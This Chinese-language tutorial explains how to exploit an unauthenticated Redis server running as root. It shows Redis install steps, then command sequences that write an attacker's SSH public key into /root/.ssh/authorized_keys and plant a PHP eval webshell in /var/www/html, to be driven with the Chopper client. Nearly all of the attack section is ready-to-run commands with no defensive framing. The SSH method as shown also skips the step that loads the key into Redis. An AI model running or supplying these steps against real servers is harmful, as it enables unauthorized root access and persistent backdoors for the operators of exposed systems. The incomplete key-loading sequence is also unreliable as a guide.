Redis 未授权访问(反弹shell)
Redis安装
环境:Centos 7
- wget 获取 redis 安装包
[ root@test ]# wget http://download.redis.io/releases/redis-4.0.8.tar.gz
- 解压
[ root@test ]# tar -zxvf redis-4.0.8.tar.gz
- yum安装gcc依赖
[ root@test ]# yum install gcc
- 编译
[ root@test redis-4.0.6 ]# make MALLOC=libc
- 将/redis-4.0.6/src目录下的文件加到/usr/local/bin目录
[ root@test redis-4.0.6 ]# cd src && make install
- 启动
[ root@test src ]# ./redis-server
如图即成功启动
图片.png
反弹 shell 方法
1.通过写SSH-KEY
的方式获取shell
利用条件:
redis
以root
权限开启
6379
端口开启并允许外部使用
目标服务器支持免密登录
- 攻击机本地生成
ssh
秘钥
[ root@test ]# ssh-keygen -t rsa
- 将公钥导出写入
txt
文件方便利用
[ root@test:~/.ssh ]# (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") >123.txt
- 利用
redis-cli
进行远程连接
[ root@test ] redis-cli -h 靶机ip
- 设置
redis
工作路径、文件、写入公钥并保存
靶机ip:6379> config set dir /root/.ssh/
OK
靶机ip:6379> config get dir
"dir"
"/root/.ssh"
靶机ip:6379> config set dbfilename "authorized_keys"
OK
靶机ip:6379> save
OK
- 远程连接,利用自己的私钥登录服务器
ssh -i id_rsa root@靶机ip
2. 向Web
路径写webshell
利用条件:
知道web
目录
具有写入文件的权限
靶机ip:6379> config set dir /var/www/html/
OK
靶机ip:6379> config set dbfilename shell.php
OK
靶机ip:6379> set x "<?php @eval($_POST['wcute']);?>"
OK
靶机ip:6379> save
OK
成功写入后可利用菜刀连接